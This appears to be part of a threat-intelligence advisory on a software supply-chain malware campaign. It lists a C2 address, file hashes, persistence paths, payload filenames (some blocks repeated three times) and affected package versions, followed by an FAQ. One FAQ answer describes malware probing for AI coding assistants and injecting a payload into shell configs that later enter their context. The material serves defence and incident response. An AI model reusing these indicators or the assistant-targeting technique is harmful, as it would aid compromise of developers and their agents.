Telnyx WAV payload C2

94.154.172[.]43

@bitwarden/cli 2026.4.0

File hashes (@bitwarden/cli 2026.4.0)

File

SHA-256

bw1.js

18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb

bwsetup.js

f35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d

Package tarball

99ac962005550130398d55af2527d839e73489bc7911e7c2c37474d979aaf43f

Persistence artifacts

# TeamPCP / FIRESCALE
/tmp/managed.pyz
/tmp/rope-*.pyz
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py
/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/sysmon.py
~/.cache/.sys-update-check
~/.cache/.sys-update-check-k8s

# @bitwarden/cli 2026.4.0
$TMPDIR/tmp.987654321.lock  # single-instance guard
# (env) __DAEMONIZED=1

# Mini Shai-Hulud / intercom-client (Apr 30)
.claude/router_runtime.js
.claude/setup.mjs
.vscode/tasks.json
# TeamPCP / FIRESCALE
/tmp/managed.pyz
/tmp/rope-*.pyz
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py
/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/sysmon.py
~/.cache/.sys-update-check
~/.cache/.sys-update-check-k8s

# @bitwarden/cli 2026.4.0
$TMPDIR/tmp.987654321.lock  # single-instance guard
# (env) __DAEMONIZED=1

# Mini Shai-Hulud / intercom-client (Apr 30)
.claude/router_runtime.js
.claude/setup.mjs
.vscode/tasks.json
# TeamPCP / FIRESCALE
/tmp/managed.pyz
/tmp/rope-*.pyz
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py
/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/sysmon.py
~/.cache/.sys-update-check
~/.cache/.sys-update-check-k8s

# @bitwarden/cli 2026.4.0
$TMPDIR/tmp.987654321.lock  # single-instance guard
# (env) __DAEMONIZED=1

# Mini Shai-Hulud / intercom-client (Apr 30)
.claude/router_runtime.js
.claude/setup.mjs
.vscode/tasks.json

Payload filenames

hangup.wav       # Telnyx Windows payload carrier
ringtone.wav     # Telnyx Linux/macOS payload carrier
rope.pyz         # durabletask stage 2
love.tar.gz      # xinference exfil archive
router_runtime.js  # Mini Shai-Hulud / intercom-client (Apr 30) hook payload
elementary.pth   # elementary-data persistent Python hook
hangup.wav       # Telnyx Windows payload carrier
ringtone.wav     # Telnyx Linux/macOS payload carrier
rope.pyz         # durabletask stage 2
love.tar.gz      # xinference exfil archive
router_runtime.js  # Mini Shai-Hulud / intercom-client (Apr 30) hook payload
elementary.pth   # elementary-data persistent Python hook
hangup.wav       # Telnyx Windows payload carrier
ringtone.wav     # Telnyx Linux/macOS payload carrier
rope.pyz         # durabletask stage 2
love.tar.gz      # xinference exfil archive
router_runtime.js  # Mini Shai-Hulud / intercom-client (Apr 30) hook payload
elementary.pth   # elementary-data persistent Python hook

Affected versions (quick reference)

Package

Malicious versions

Safe versions

aquasecurity/trivy

v0.69.4 release

v0.70.0+

aquasecurity/trivy-action

0.0.1 through 0.34.2

v0.35.0+

litellm

1.82.7, 1.82.8

1.82.6 or 1.82.9+

telnyx

4.87.1, 4.87.2

4.87.0 or 4.87.3+

xinference

2.6.0, 2.6.1, 2.6.2

2.5.x or 2.6.3+

elementary-data

0.23.3

0.23.2 or 0.23.4+

@bitwarden/cli

2026.4.0

2026.3.x or 2026.4.1+

durabletask

1.4.1, 1.4.2, 1.4.3

1.4.0 or 1.4.4+

Checkmarx/kics-github-action

all tags through Mar 23

pin to commit SHA, not tag

Checkmarx Jenkins AST plugin

2026.5.09

2.0.13-848.v76e89de8a_053+

intercom-client

7.0.4

7.0.5+

FAQ

My pipeline ran aquasecurity/trivy-action on any tag between 0.0.1 and 0.34.2 during the March 19-20 window. What do I need to rotate?

Treat every secret accessible to that pipeline as compromised: GitHub PATs, PyPI tokens, npm tokens, AWS access keys, GCP service account keys, Azure credentials, Kubernetes service account tokens, Docker Hub credentials, SSH keys. The compromised action read runner memory, which means anything in the environment at the time was captured. Rotate before investigating; investigation can come after.

Was Bitwarden vault data stolen?

No. The @bitwarden/cli 2026.4.0 compromise targeted credentials in developer CI/CD pipelines that used the CLI as a dependency. Bitwarden's vault infrastructure, sync servers, and customer data were not affected. If you ran version 2026.4.0 in a CI/CD pipeline, rotate the credentials that pipeline had access to.

Does the GitHub breach affect customer repositories?

GitHub's confirmed assessment is that the breach is limited to internal GitHub repositories. Customer repositories, customer code, and customer data are not believed to be affected. The compromised employee device has been isolated and secrets rotated.

Can an npm or PyPI package compromise my AI coding assistant?

The @bitwarden/cli 2026.4.0 payload demonstrated exactly this. The malware probed $PATH for Claude Code, Gemini CLI, OpenAI Codex CLI, Kiro, Aider, and OpenCode. If any tool responded to a test prompt, the malware injected a persistent payload into ~/.bashrc and ~/.zshrc. The next time a developer opened an AI coding session, the shell config was in context. The attack surface is developer workstations, not CI-only environments.

Why can't the ICP canister C2 be taken down?

The Internet Computer runs across distributed nodes with no single server, hosting provider, or domain registrar. Canister code and state is replicated across every node in its subnet simultaneously. A takedown requires action at the protocol level, which DFINITY can partially do (disabling gateway access), but whether code can be fully removed from all nodes is not guaranteed. DFINITY disabled HTTP gateway access to the CanisterWorm canister, but confirmed the underlying code may remain on subnet nodes.

Is Mini Shai-Hulud the same as the original Shai-Hulud?

No. The original Shai-Hulud (September 2025) and Shai-Hulud 2.0 (November 2025) are separate threat actors from TeamPCP. TeamPCP adopted the name "Mini Shai-Hulud" for their own npm worm operations starting in April 2026, borrowing the technique. The actors are distinct; the playbook is shared.

What Comes Next

TeamPCP has demonstrated a consistent pattern: a period of activity, a pause (the campaign went quiet for 26 days between the March wave and the April 22 resurgence), then escalation. The GitHub breach is a significant trophy but it does not require a pause. The credential cascade from 83 days of operation has likely populated a pipeline with tokens and access paths that have not yet been used.

We will continue covering this campaign as it develops. Subscribe for updates, or reach out directly if you need to assess your exposure.

SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.